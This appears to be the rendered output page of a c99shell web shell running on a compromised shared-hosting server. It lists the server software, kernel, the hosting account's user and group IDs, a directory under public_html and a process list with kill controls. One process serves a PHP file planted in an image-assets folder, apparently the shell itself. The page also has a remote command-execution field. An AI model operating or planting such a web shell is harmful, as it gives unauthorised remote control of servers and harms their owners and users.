Software: LiteSpeed. PHP/7.4.33 uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) Safe-mode: OFF (not secure) /home/necipbey/public_html/system/Router/Exceptions/ drwxr-xr-x |
Processes: | ||||||||||||||||||||||||||||||
USER | PID | %CPU | %MEM | VSZ | RSS | TTY | STAT | START | TIME | COMMAND | ||||||||||||||||||||
necipbey | 3870395 | 0.0 | 0.0 | 498300 | 32380 | ? | S 15:34 0:00 lsphp | KILL | ||||||||||||||||||||||
necipbey | 3879826 | 8.6 | 0.0 | 502460 | 26244 | ? | Ss 15:37 0:01 lsphp | KILL | ||||||||||||||||||||||
necipbey | 3879827 | 7.6 | 0.0 | 502800 | 26776 | ? | Ss 15:37 0:00 lsphp | KILL | ||||||||||||||||||||||
necipbey | 3879828 | 4.2 | 0.0 | 502800 | 26636 | ? | Ss 15:37 0:00 lsphp:/home/necipbey/public_html/assets/img/3.php | KILL | ||||||||||||||||||||||
necipbey | 3880521 | 0.0 | 0.0 | 43044 | 2308 | ? R 15:37 0:00 ps -aux | KILL |
:: Command execute :: | |
--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0155 ]-- |